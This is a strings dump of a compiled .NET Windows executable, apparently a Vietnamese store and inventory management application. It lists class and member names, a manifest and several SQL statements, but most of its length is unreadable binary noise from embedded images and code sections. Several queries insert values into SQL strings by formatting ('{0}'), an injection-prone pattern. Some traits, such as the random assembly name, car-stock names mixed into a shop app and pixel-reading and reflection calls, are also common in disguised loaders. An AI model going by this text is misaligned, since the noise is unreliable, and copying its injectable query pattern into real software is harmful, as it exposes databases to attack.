!This program cannot be run in DOS mode.
`.rsrc
@.reloc
< csd
v4.0.30319
#Strings
<>9__1_0
<.ctor>b__1_0
<>9__5_0
<InitializeComponent>b__5_0
Nullable`1
IEnumerable`1
List`1
StringConn1
button1
listBox1
AboutBox1
textBox1
button2
textBox2
Func`3
button3
textBox3
button4
textBox4
button5
<Module>
KiemTraTonTaiTenNCC
LayNCC
LayNhaCC
get_MaCTHD
set_MaCTHD
_maCTHD
get_MaHD
set_MaHD
LayHoaDonTheoMaHD
get_ApDungHD
set_ApDungHD
_apDungHD
LayKhuyenMaiTheoHD
get_SoNamBH
set_SoNamBH
get_MaKH
set_MaKH
LayHoaDonTheoMaKH
get_TenKH
set_TenKH
_tenKH
LaySPTheoDK
maPhieuNK
MaPLTK
get_LoaiTK
set_LoaiTK
get_MaPhanLoaiTK
set_MaPhanLoaiTK
_maPhanLoaiTK
LayLoaiTK
_loaiTK
clsChiTietHD_DAO
clsPhanLoaiTK_DAO
clsDanhMuc_DAO
clsKhachHang_DAO
clsHinhAnh_DAO
clsKhuyenMai_DAO
clsSanPham_DAO
clsChiTietSanPham_DAO
clsTaiKhoan_DAO
clsNhanVien_DAO
clsHoaDon_DAO
clsPhieuNhapKho_DAO
clsChiTietPhieuNhapKho_DAO
clsNhaCungCap_DAO
System.IO
clsChiTietHD_DTO
clsPhanLoaiTK_DTO
clsChiTietSP_DTO
clsDanhMuc_DTO
clsKhachHang_DTO
clsHinhAnh_DTO
clsKhuyenMai_DTO
clsSanPham_DTO
clsTaiKhoan_DTO
clsNhanVien_DTO
clsHoaDon_DTO
clsPhieuNhapKho_DTO
clsChiTietPhieuNhapKho_DTO
clsNhaCungCap_DTO
get_MaCTSP
set_MaCTSP
LayMaCTSP
_maCTSP
get_MaSP
set_MaSP
get_TenSP
set_TenSP
LayTenSP
chiTietSP
clsChiTietHD_BUS
clsPhanLoaiTK_BUS
clsDanhMuc_BUS
clsKhachHang_BUS
clsHinhAnh_BUS
clsKhuyenMai_BUS
clsSanPham_BUS
clsChiTietSanPham_BUS
clsTaiKhoan_BUS
clsNhanVien_BUS
clsHoaDon_BUS
clsPhieuNhapKho_BUS
clsChiTietPhieuNhapKho_BUS
clsNhaCungCap_BUS
KiemTraTonTaiMaCT
get_SDT
set_SDT
get_MaNV
set_MaNV
value__
LayTatCaMauMa
get_MoTa
set_MoTa
System.Data
mscorlib
get_MauSac
set_MauSac
LayMauSac
mauSac
System.Collections.Generic
get_ChongNuoc
set_ChongNuoc
chongNuoc
LayTatCaDanhMuc
get_MaDanhMuc
set_MaDanhMuc
maDanhMuc
XoaDanhMuc
SuaDanhMuc
LayBangDanhMuc
ThemDanhMuc
get_TenDanhMuc
set_TenDanhMuc
KiemTraTonTaiTenDanhMuc
get_NgayKetThuc
set_NgayKetThuc
_ngayKetThuc
danhmuc
Thread
add_Load
Main_Load
set_Enabled
set_FormattingEnabled
Synchronized
<Make>k__BackingField
<Model>k__BackingField
DbCommand
SqlCommand
get_GiaBanLe
set_GiaBanLe
giaBanLe
CreateInstance
defaultInstance
set_AutoScaleMode
set_SizeMode
PictureBoxSizeMode
set_Image
get_Message
get_Make
set_Make
DataTable
Enumerable
IDisposable
Double
RuntimeTypeHandle
GetTypeFromHandle
Single
get_Title
get_AssemblyTitle
DockStyle
ColumnStyle
set_FormBorderStyle
FontStyle
RowStyle
set_Name
GetFileName
labelProductName
GetName
AssemblyName
labelCompanyName
DateTime
set_Multiline
SqlDbType
set_CommandType
SizeType
GetType
System.Core
get_Culture
set_Culture
resourceCulture
get_CodeBase
InternalDataCollectionBase
ButtonBase
ApplicationSettingsBase
TextBoxBase
Dispose
get_Date
Aggregate
DebuggerBrowsableState
EditorBrowsableState
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
GeneratedCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
DebuggerBrowsableAttribute
EditorBrowsableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
set_Value
get_HasValue
TVQdR.exe
set_Size
set_MaximumSize
set_ClientSize
ISupportInitialize
LayBang
get_KhachHang
set_KhachHang
_khachHang
System.Threading
set_Padding
System.Runtime.Versioning
ToString
disposing
System.Drawing
get_TrongLuong
set_TrongLuong
trongLuong
get_SoLuong
set_SoLuong
CapNhatSoLuong
_soLuong
ShowDialog
LayDanhSach
get_HinhAnh
set_HinhAnh
get_MaHinhAnh
set_MaHinhAnh
_maHinhAnh
LoaiHinhAnh
ThemHinhAnh
get_TenHinhAnh
set_TenHinhAnh
_tenHinhAnh
LayHinhAnh
layHinhAnh
_hinhAnh
loaiAnh
ThucThiCauLenh
get_NgaySinh
set_NgaySinh
_ngaySinh
get_Width
get_KhuyenMai
set_KhuyenMai
get_MaKhuyenMai
set_MaKhuyenMai
_maKhuyenMai
LayBangKhuyenMai
get_TenKhuyenMai
set_TenKhuyenMai
_tenKhuyenMai
CapNhatKhuyenMai
LayKhuyenMai
_khuyenMai
KiemTraTaiKhoanDaTonTai
get_TrangThai
set_TrangThai
_trangThai
get_SoDienThoai
set_SoDienThoai
_soDienThoai
get_DiaChi
set_DiaChi
_diaChi
get_MoKetNoi
add_Click
set_Dock
btnOpenCarsInStock
_stock
Decimal
get_Model
set_Model
System.ComponentModel
TableLayoutPanel
tableLayoutPanel
GetPixel
DBNull
IButtonControl
ContainerControl
ListControl
get_Url
set_Url
get_MaCTSanPham
set_MaCTSanPham
maSanPham
XoaSanPham
SuaSanPham
idSanPham
KiemTraTrungSanPham
KiemTonTaiSanPham
ThemSanPham
tenSanPham
drSanPham
dtSanPham
ThemChiTietSanPham
chiTietSanPham
LayThongTinMotSanPham
LaySanPham
sanPham
Program
get_Item
System
LayBangSanPhamTuHDBan
resourceMan
Boolean
XoaTaiKhoan
SuaTaiKhoan
ThemTaiKhoan
get_TenTaiKhoan
set_TenTaiKhoan
_tenTaiKhoan
LayTaiKhoan
taiKhoan
SetRowSpan
get_QueQuan
set_QueQuan
_queQuan
get_HoTen
set_HoTen
_hoTen
get_TongTien
set_TongTien
_tongTien
get_ThanhTien
set_ThanhTien
_thanhTien
get_NhanVien
set_NhanVien
get_MaNhanVien
set_MaNhanVien
_maNhanVien
SuaNhanVien
LayBangNhanVien
ThemNhanVien
LayNhanVien
_nhanVien
set_TextAlign
LayThongTin
AppDomain
GetDomain
set_Margin
StringConn
get_HoaDon
set_HoaDon
_hoaDon
get_GiaVon
set_GiaVon
giaVon
set_ShowIcon
get_LastLogon
set_LastLogon
_lastLogon
GetFileNameWithoutExtension
get_Version
labelVersion
get_AssemblyVersion
Application
set_Location
imageLocation
System.Configuration
System.Globalization
System.Reflection
TableLayoutColumnStyleCollection
TableLayoutRowStyleCollection
TableLayoutControlCollection
SqlParameterCollection
DataRowCollection
DbConnection
SqlConnection
set_StartPosition
FormStartPosition
SqlException
get_Description
textBoxDescription
get_AssemblyDescription
System.Data.Common
okButton
set_AcceptButton
get_NgayKhoiTao
set_NgayKhoiTao
_ngayKhoiTao
CultureInfo
get_MaPhieuNhapKho
set_MaPhieuNhapKho
_maPhieuNhapKho
ThemPhieuNhapKho
ThemChiTietPhieuNhapKho
phieuNhapKho
get_MaNhaCungCap
set_MaNhaCungCap
_maNhaCungCap
XoaNhaCungCap
SuaNhaCungCap
ThemNhaCungCap
get_TenNhaCungCap
set_TenNhaCungCap
tenNhaCungCap
CapNhatDangNhap
Bitmap
set_TabStop
System.Linq
set_ShowInTaskbar
ExecuteScalar
ThucThiCauLenhWithScalar
Avatar
DbDataReader
SqlDataReader
ExecuteReader
sender
get_ResourceManager
ComponentResourceManager
EventHandler
System.CodeDom.Compiler
IContainer
DbParameter
SqlParameter
DbDataAdapter
SqlDataAdapter
set_Anchor
set_UseVisualStyleBackColor
DTO_Minor
IEnumerator
GetEnumerator
Activator
.cctor
System.Diagnostics
System.Runtime.InteropServices
System.Runtime.CompilerServices
System.Resources
DTO_Minor.AboutBox1.resources
DTO_Minor.CarsInStock.resources
DTO_Minor.Main.resources
DTO_Minor.Properties.Resources.resources
DebuggingModes
DTO_Minor.Properties
EnableVisualStyles
get_ColumnStyles
AnchorStyles
get_RowStyles
GetCustomAttributes
Settings
EventArgs
get_Controls
System.Windows.Forms
set_AutoScaleDimensions
System.Collections
set_ScrollBars
get_Cars
get_Parameters
components
get_Rows
Concat
Format
GetObject
get_Product
get_AssemblyProduct
get_MaChiTiet
set_MaChiTiet
maChiTiet
idChiTiet
LayChiTiet
chiTiet
get_Height
set_ItemHeight
get_Copyright
labelCopyright
get_AssemblyCopyright
EndInit
BeginInit
GraphicsUnit
get_Default
SetCompatibleTextRenderingDefault
set_DialogResult
System.Data.SqlClient
ContentAlignment
InitializeComponent
get_Current
current
set_Font
set_ColumnCount
set_RowCount
SuspendLayout
ResumeLayout
PerformLayout
MoveNext
set_Text
get_nihOu
get_NgayBatDau
set_NgayBatDau
_ngayBatDau
KiemTraTonTaiMau
get_MatKhau
set_MatKhau
_matKhau
get_ThuongHieu
set_ThuongHieu
LayThuongHieu
thuongHieu
get_ChatLieu
set_ChatLieu
LayChatLieu
chatLieu
XuLyDuLieu
LayDuLieu
get_GhiChu
set_GhiChu
_ghiChu
get_GiamTru
set_GiamTru
_giamTru
get_Now
DataRow
set_TabIndex
logoPictureBox
set_MinimizeBox
set_MaximizeBox
ListBox
TextBox
denNgay
tuNgay
get_Assembly
GetExecutingAssembly
set_ReadOnly
get_Company
get_AssemblyCompany
stringQuery
ExecuteNonQuery
GetCurrentDirectory
op_Inequality
WrapNonExceptionThrows
Microsoft
Copyright
Microsoft 2023
$83636585-96af-4a71-9de2-8e53db334c23
1.0.0.0
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
16.10.0.0
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD^V
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDATx^
lFd!JOO
J%3%Bcaaa
AYZM@?
)n||&k
sssCCC
UUUaaa"[
9m20k4
E0`"Xi
q#tSiwvv
M)jf1#
=FGGK&J
&jf63{
uFYSQs]
4qj#acccoo/=
SSS%3%OA
L@@@gg'
xE@caG
!r>B:!
eB]aee
=z4@#xp
=ecK~vwu
$5,xU`
IIIZZZS|
B..((@
)3]8hx
uIIIYYYyyy
cWmmmUUUYYYaaavvvJJJ\\\TT
vvuttt
5+pq`VsVVSVfcfFCF
-wwnnk
ZZQZZ+
<yr|A|
+?YnXm(
<==#""
{~~w}|.
\\vXYm40
kjZleUnk[
-NN{\\:\]
_gf~(bt
H mWW?
`mo_co_
..mnn]
fMFLLVl
7m*IN.OK
6(+NA\
mGUyYV
ysYjjUzz]vvS^^kaa
tPPPVVVQQ
yxtyzv{y
rMff}NNKv
fx%yM_KG'
F[[[GGG
&ymU,h
lv+",M
9M48^8x]
,10Xfh
`H^_9gh
9[08]{p
*p88=A
okkkii
J 9(Ys
GU~~~qq1}
.]PPPVVVYY
3R'?;I
!p88g)
"=$ev1
EaaaII
'N ,#c
3"3Q||<
.=->';
imZj\f
hqHHHEE
'*:-9z
rxx8?c
lFp>tp
qyq5'j~
SZK5G8
j9a+"sAZiIvU
eWWm#Z&
cCaXXXaa!g
apppZZ
rGj!<d
"%1zK*
:59&=u]V
63}}vV\nvB~
A.dedh
&Lq0_V
'm/N)+A
-4K'7*[
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPADp
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDATx^
:d&MLcb,
nuxy(ss
Sm553k
jemmc
"w4{~/
uVm_x
``( [G
VurC\}
&bM+k-}mm`
Wg$ojv
/8,1Ugw
@\tiapk
}mxq y
W)p53
A^eh~8
EG3>j6
WRG-1Y8
VOX!1{
"V;`hv
H:(p#y
GFMx2>o
g}M0y{
U4S(i?*
i8FyP81|m
b_lbf((
6\>wue
or(02*
?NBIO*
u<XXOG
LM^^m}
glsDWj
@#722q
pQgqXkXVnA
iYT.CK
W*e]|WFG
Mu/{~q
[0okk\p\n
0aWA(-
`ZFwZL
6,1I
Za%U7y
Kc7%..
T++RYI
m_S9:.b
iF(W|.
}}YraI
,1zdBb
]5xv::.
&]4>_}
U)p#;KLM
8O$Ww#
o,@8a5
:}vebQpJ
.qGebI
0<.>9<]
jw'wmX
=w=.w^
oUZ"W3
-A*`@+
{CP,T)
ba,'Y5
-QT^&e
s ]mFV1u
3Qj:Yo
lws]&[x_
qC]J-M
g ;4o{X
vv h'_
h3.q<$
3Tg2G`1E
7(v5'w0D
tt,Nik
`]w%wo:
O-2ie9
/iSa`|
w%=Z_(;
O3{3\G:
j;(vtQ
$`)Maz~
OM--maA
V]+:|G
NBQPmF(?
m6WqPu~bD
K|W!< f
>o5- ;
iOV%]k?
BHF%@(
VEQpv1
A/bKk*nd
000 VZQ"
Obi+cN
3 d' V
6rn2DY
vJO,:+z
sw0D|y
XFP"d2
"q[JFwwft&
, vDcR
h|]nt;
%PzJqo>P
MtAk_w
h)T=_AB
AT[KOo
Ge-5?e
>Zwq_Y
CnoO9p
M'Mp:;
xi^_BG]
(u/_4xg
7DZ{so
.%`QQ>
gdXneX
9K>l5o
7V5\4[P
EyYFXf
>s8[#/
|W2;jD
s6()cq
YLM+^4
mc&33}
!p$ _U
?o#hdNH
Iol",<
k# K;lHKh
";a@~m}
ez:3P%
-&MDd*
WPwO#3#
q] /J8
"<6OTBV
-?s#`6
^*td0J}
Xc,VKWg
xBQw7O(
a<81U#t
s|`E 'l
S=Gn,/
40.IaqZ1
>tx`H}
4F`)RR
+5o082
&bkkiu
kxw]op
gKS#yW
:D,vj1`f
`W)`I?/
t6:gm:Q
kyX(G7
<*KCO Ti
fo}MeW+
>-:j!_
@e3pM4
oxIoda\|w{
]FO;hv
vZUQop
L!*cPqV
a(c!(
_U2 %J
L^pwkp:a3
c:+pk2?
w<^k/4`_
Doz|xy
Ue*0vK
:?-8`j
11fIaU
}@oTBF
27@pQamk
3e@ktC
X4$Evu_
H#KXMD
M{wn^Pp-
R~-NZF
,zq1jb
i8%m. >
q; GA
q<99'&{
:eC|v_/
4O#pm&
.mbz32]GZ
E+xYv*4
Lr=^i>gG
T&1&;#c
@@K$C*
(<oVsV/C
3z/2d$
6RN}\4wo
]bL@vue
$UL@;
@TAYhJ
%GPnyI
!#6AGR1F
Q61qFvuD<
CbO: i
SQ:8d+
i);Cow-
z,NMvO
vD1)kGM
gyCE>iKq
0W>7KA
zdD 6Y
U/=^BJ
e1})D6
I+>/L=
)QX#WP
Evu$2~
su]MMMuU
hi![:sK
N~jjTh
w&}U!.
{1KC9?5~
4hY^1P
m;e7;Me\>
.]i+ZZ
76*5dd
[4K>)#PD
|G2]?I"
`axVqAJEy}td.
SHYo^
f2}O9HsH
L+wTElr
uU(E<Kx
'.Fyov>
1leJ`:
6S*56\S
i?1aH3
3-"_PgyYS
r#yrYb
{Mg-~/T9)
1ZO2o@
aLw601Y
r5-/]V
v$\U--
gVgxLv
e49*%w
j[vkunO
y%I2&b`
V>5#/P
>*y>pl
[Z61}~{
9~*Eyd
X;Eg%{
H*i%0s
22CB8&
&lm0Da
u=`(i$D_
tDqA,u
M20qX
o/+6+<
qvar_ I
pis",CZ
baBmU/Lv
+rl`&l
T-0hK?
q]e<qM-
pBjSQt}J
1VgK@idN
"%46gJ
N7fcgq
K{fE]|
\YdndD
O}HZf;
qNY-N?
|@H^1y
zvdQi.w
k{7`~)A
Pg9*bZu
}e$+x\
[@PHUf
1+@/_$&LWg
oT[ht-
ya@=Sq`
knZVet
bYl{($R
9C[G[s
C]#L7<
?[CkFY
LlNf3|-vN
=zi{x>>
nw^|LX
[_{ ,]
uY(\Gi
(f"te6
FAVwcW?
'`21-b
pj&.kS
2W9UDE
`9u7&"
xuAd`;lK
TqBY,dl
E*NlCX
}V=,Dl
+:b|bA
Cv!)F8
WXG0]7
n_jz!E
D'h<Zp
wTT.^<
q(XRIJu'V
*[-g)>
f}VfTr8
(RuBY%
LV=_{`
LV\rh[
pg8MB.
#,V(fN
'>7=0O
l*N4[s
Mt0AbcK
!ym37-V
\Q $#2`
pE40:U
T=+2jC
G3"2&W
<0;\xdV
85H!S!A
hQ)` 72e$
( U(kd
D9} yt"
a*Ne(J
ZRA&fN
JE'z+@
<Q*#y3
lAcnX1
zoaLy,Yy>~
N}+.(Q
5TP231)G,
M8#;5s6zo
AQaX|AUNx
wMX<cq
ofNs{/
z"Z7ZT
~` SW{
6U<W\*ZVsZ
Mt]Fon
_q@m>d
Db~?A%
wn|a<AUN
8jnY`^Z@
n4}qCo
1|N%Ap
Y:t{2X
PxN\QgG
mDh;U_mddQe
%yX5v"
i(]H#e
kH@7h#d
Wz__"y5#
{0?3L[SGWG
s/28(w
Kxs#v_
"bo/mfUh
cfdp@
lqp^qK
}~.ZF]
*8p=zw
O[uLm
wnn_qRQ
|Uh,G]}
#7$N.4
CTd [&
'0>/;[^
*~CZi;j/
a@T-aE:6UwV`
xi3R]!
`-XC]mmfK
M(Bbad
.__py[
_WT-(K
#Aq`UU
\Eiw{^
ML4:0D
Up^<xQ>.B
tiZ`:"*
d<`:PZsbC
)yC=gciG
ec${)!
Xf[z(%
"VX4(*
rzsu`E
!?$_r7
M :cDk
w7)l/"
H5/OG{
Aop^9PH0o'
++ic;d
C6|[t9
@ M~&
"VUbo`n7,
VOQjJs
k[h+ =
/ZOP@E
< LbrzY
s${u/&
\iGn%Q
^y_glS
{d<qX/\}~[
<WTEGS]G
[N>xLO
;,<W\I
:"E6-g1
:CNwsJ
+yy#^iE
dUj~hW
U&Bua1f
>eec7C
yYq^oW
dNu~_h2
ZOx~-bo
zr\Caq
ELgJx2
N>g}?.9~
fm|:A}
,7++8:
:G@JlLp
Q_;d|=
Y!:H@+
bNcOlTZyhc
|jY6p @
9SoSYDgM
<k44nC
|0=$PJ
{;S{2V
Cb(kq8x&G
~_z<Y/
35-LM0v
%LIQX=
d:gjqh
_s,uDS
`T7$ur
eY)\^{#R
[SMMN~
RA`g=]TT]
1!(?0$
[XhY\:
qZA'bH
AiYB h
:L0 (n@
Kiwl>\
o;t8cO
V9|-Ki
+&$2e[
2sfh<s
}3_G,V.
^Yr5Rw
YDB):pW3b
PU[R} h
jZPRId
[9{s=o
w-{4q`
x4pCv_
^NVO4r
Ylvg8V
kaLJOq
dL990M
SjL=yVf
: Y=5$G
P*}.B.b
zBS2F#
`gggdBtKoH*#
.m{r<oA
qle~UHtD
T`jT8D
CAFvi|
x~h0lx
6I8c)HQVJ
{p=?u,;
_(5u#fu
~Mcdpp
)FkV}j
o=+.v-
O)k3Zs5{
E>sFML9;
+-,=c{dh
MqP7f )
Q]X$.a
s"fg.0-z
l-uttm
~__.%W
bGH,LQ
.\+_~U`
LRLFfg
q]][Ck+m
Wz(BmG
TS>=1m
Xl{ ve=69
0eh-69
50B@;U
%\UW0
{OX+rsk
#`{ZW'
S3v>}?
*aP@]gG
JAQ^QWL/;,TP
Af&*>?
*CBr"#$
']''<$:0
+wt+/4:
IIM NX
4Hd"v+
U'DjQs
t=#c84
<:n:aL
yv6W+]b
d_b2g!
VkKO#-
m9{^lm
%y7P C
P,ibcL
,V!_Xf6
uC4UJo
m@Ob'b
WW.9}S*
+9;h -
9AX^AJ
$c1 &r
bEztF;
'c&$Kw
(It(F^
k56'u*
3,5?]>e=|
FFfiXn
X{(7w!
RIT'%0
%{XZO0
dqT[^9
B hcIz@
i5Z-L$N5
,4q\"0
=(4!%RI
3W&7i+
!uc^uzi
V&}a10]
tf3=tU
vyLxyU
wU.y<e
v#p5gB%
(.A8[uA
2ZEj7ZAQ
*Ae'(DLm@
IMVFUf-
@AxRX.
muM]0v
6? '@!
J(YsG]=
_*#:.LY
3[2pkn
oRYiIxg
)k.J?~
E_7i0&
0>rUMN
;5hK7y
=zSvnsY
qaktr^w
s|wi M
= %?0a
g6N^;n
}8fK|\~
?e9T- Ce9
O3xc*w
*6h/=;D1
i4Or&R
M8<]1>
LNSg3{
>mUY(XP
ce`fa5A
@inpGha>d
n;$4Aw4
^n=qv
n2H95y
>K|?~J
H>2#?vA
fNzsXe
.F{>$V/*<7
Zw(u|B{
(e^eJk
[C950J
!C.:`'
I"U0kHT
kW!]b$4
B5MqjmH
xw]eBA\
zkC^WfwyQ
Q{v3kS
b_)Xjv
=jx(Jh
!fRp1b
C}tgJ
X(-Hzzd
Un<hT }
hS%m&=
$zAaeAetO
S\&lx_g
fNXv0j[
LL4jTM^q
V$"O#($DvuLH
dZD_f[NDI
BYxIRd6O
oLI^[Q
p}LM=9=
Pgm -.Y
w (s+x
pMTS!O
/n2fB&[^
^wDohF
wr@*(P
Na~[RU
:"b90L
d\1U,@
GZ:WBn
Qq|8W}
O/zNyra[
Q#}1H?6
2]26~Z
[u c~F
SVBN$_
1dO<WL
pavVMvKf
VM-i.*f
G[CHBJ
A%5Nr[
7nP1?{Fq
c1]:RV
"aqlOfWx,
-Bc6dD
BQ]d3B
',S\rR
4%=e6vV
p3x9OB
7r5aN]\
kmW$_qu
HNRMof
G%YrGPNRUa*
iD?Fq`
$f]^ !(a
:]Hmn[
e#K+&z
)nVQ)d
}IRK]?k'w
yyIXy/
,*^v<{
E.zzKx0
U Q]buikA
V}j(Q2
^MQ1
~b\=Qh
_HFE)X
fX[aW*
3WkTE#9
]\1#ae
C?i_CU
jZ0}Z0
5}{-_j
"*c3K$
LRxw/*s
uEI-r1
Q->gD'
ssrFZFB
U_*YR E
//}_HE
;QXtH\i^F;V
?TYqNo
}d4=>g
n[cEOv
,'=**W
HTdMg6
gNyD&?
cI6vT%k
@MJHm@d
f(#M5~-
QanGaW
_UHnL!r
3CDhIx
=D@v/GL
6`FF;8
^M-hwh
Sk 6` ,
6u` =5
tA1dEM
A-r=t~
Y<HN#9
.G^gdI.
sVDTs1C~
nvx:a4R
9-]NI-
Q0mdxB>
>jrVq8V
V@@@@h
fj"^;G
zIDAT|
mBeU:N
_bOzR9
TxkbU]
YjT.R#l^
Ts>s/j
~vMSG'~
]YsZ5JY
yi<k%s
G_f8WT
?hY$rLs
;v2*{,
elClV3
K&Sy;]I{Q]
iV_nn/g
?sqb6O
L1oaDr
l<a)gX
D595b>
!^}5*k #e
`!I5w8
R\6K":
+V.*f|
YKED5'
?p"n4b
OZACT0
cyT1NS
>SCe~=R=1,<
o^~zNc
u[[x8y3"
p.z"c+
fSG0i%
)?ZczW
zHKWG}
Fh}YLa
\3.'][
!\v&U;[
\;w0@g5
D_jO=`
V@@@@q
A\{_l'
DMEh7p
vW1>y=-
=c~j7f
/?>}m$
r=h?C>
q`Z4*c7p|
{9`qo0r
L'3Jfr
%[SxqQ
+ `~
s++~&z2
Z~{Y{c SlN#Z
OS!Eo_rv
8T]$mX&
wsTh31D|
qx\Bpl_
x+d:KX
85g43'
j+czY*
)^tKlfWu#
eR<Fyo8
bUf.:C
qbb5OBE
+ p"[
6JsgsLH
'b%_x{
!*&<y*
f.GgR3
9Kgs'r
<TG`]`
kx}u={
(1bP%
_!A1nX
;C)QO'
|OG~X}
#Iv9Ncyb
^?Rr'0_
eh});C{
iwr$"/
Tz.37e
C_m$S.
#,j?+E
?&9EsL
RFd-gG
].BBz4[3
w!U.PB]b5
_eq_kK
0Tq8W/
[ANU&9W
:=6_8s
Cq5lkrdV
#uT'kc[9
a$%tyw
JBNdQW
v8I*p0]
V@@@@;x.w
g@1}UC
Y|6c{n
lv'C<r
eWxUqX
Ei}^ }
\y:o#GfV3b
9I#lEo
Hw0=q;
+ 0_
H0SGSj
2jJs()
-~h fFm
X;j$f
+ ;t3
-R?&a'U
.ggE %
1^/"))
HhsCe'a
8a.Ko!rL1z
q"6*2^d
.:Z?rz
+.k`!S
TVQdR.pdb
SHA256
H'{v!O
vK|I-K
[s} v>
="Jco+
kkr*Pk
/0NbYI
u`ci[S
I[uC3T
nVu}aS}
bN`lTm;x
`SKy[S
cAES{[
W#^]u-y
T]F\yu
)PuBeS{c
-PW]C
.5;%Kgn
XiGk[u
dQy[9c
V<IA]V
0(FsW|
\e\C=/
Y$2-k[
z:/K2|
R/a'M'O
@v-Va,<
dir-ir
qIK6-i!|
&w|kb|
LS3Ytz
5XSLGC
;1hI,~AalB6
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
L-R/X0Z3[4^
Insert into ChiTietHoaDon(MaCTHD,MaHD,MaCTSP,GiamTru,SoLuong,MaKhuyenMai,TongTien) values (@MaCTHD,@MaHD,@MaCTSP,@GiamTru,@SoLuong,@MaKhuyenMai,@TongTien)
@MaCTHD
@MaCTSP
@GiamTru
@SoLuong
@MaKhuyenMai
@TongTien
select Url,TenSP,ChiTietSanPham.MaCTSP as MaCTSP,MauSac,ThuongHieu,GiaBanLe,TenKhuyenMai,GiamTru,SoNamBH,ChiTietHoaDon.SoLuong as SoLuong,TongTien from SanPham,ChiTietHoaDon,ChiTietSanPham,HinhAnh,KhuyenMai where ChiTietHoaDon.MaHD = '{0}' AND ChiTietHoaDon.MaCTSP = ChiTietSanPham.MaCTSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietHoaDon.MaKhuyenMai = KhuyenMai.MaKhuyenMai
INSERT INTO ChiTietPhieuNhapKho(MaCTPhieuNhapKho,MaCTSP,SoLuong,MaPhieuNhapKho) VALUES (@MaCTPhieuNhapKho,@MaCTSP,@SoLuong,@MaPhieuNhapKho)
@MaCTPhieuNhapKho
@MaPhieuNhapKho
Select * from ChiTietPhieuNhapKho where MaPhieuNhapKho = '{0}'
MaCTPhieuNhapKho
MaCTSP
SoLuong
INSERT INTO ChiTietSanPham(MaSP,MaCTSP,MauSac,SoLuong,MaHinhAnh,TrangThai) VALUES(@MaSP,@MaCTSP,@MauSac,@SoLuong,@MaHinhAnh,@TrangThai)
@MauSac
@MaHinhAnh
@TrangThai
SELECT count(MaSP) FROM ChiTietSanPham WHERE MauSac = N'{0}' AND MaSP = '{1}'
UPDATE ChiTietSanPham SET SoLuong = @SoLuong WHERE MaCTSP = @MaCTSP AND MauSac = @MauSac
UPDATE ChiTietSanPham SET SoLuong = {0} WHERE MaCTSP = '{1}'
SELECT * FROM ChiTietSanPham WHERE MaSP = '{0}' AND MauSac =N'{1}'
Select * from ChiTietSanPham where MaCTSP = '{0}'
MaHinhAnh
MauSac
TrangThai
select count(*) from ChiTietSanPham where MaCTSP = '{0}'
Select Url from ChiTietSanPham,HinhAnh where MaSP = '{0}' AND MauSac = N'{1}' AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh
Select DISTINCT MauSac from ChiTietSanPham ORDER BY MauSac
Select DISTINCT MaCTSP from ChiTietSanPham where SoLuong > 0 ORDER BY MaCTSP
SELECT DanhMuc.MaDanhMuc,TenDanhMuc,count(TenSP) as TongSP from DanhMuc LEFT JOIN SanPham ON DanhMuc.MaDanhMuc = SanPham.MaDanhMuc WHERE TrangThai = 1 GROUP BY TenDanhMuc,DanhMuc.MaDanhMuc
SELECT count(TenDanhMuc) FROM DanhMuc WHERE TenDanhMuc = N'{0}'
INSERT INTO DanhMuc(TenDanhMuc,TrangThai) VALUES(@TenDanhMuc,@TrangThai)
@TenDanhMuc
UPDATE DanhMuc SET TenDanhMuc =@TenDanhMuc WHERE MaDanhMuc = @MaDanhMuc
@MaDanhMuc
UPDATE DanhMuc SET TrangThai = 0 WHERE MaDanhMuc = @MaDanhMuc
Insert into HinhAnh (TenHinhAnh,Url,TrangThai) values (@TenHinhAnh,@Url,@TrangThai) SELECT CAST(scope_identity() AS int)
@TenHinhAnh
Select * from HinhAnh where MaHinhAnh = {0} AND TrangThai = 1
TenHinhAnh
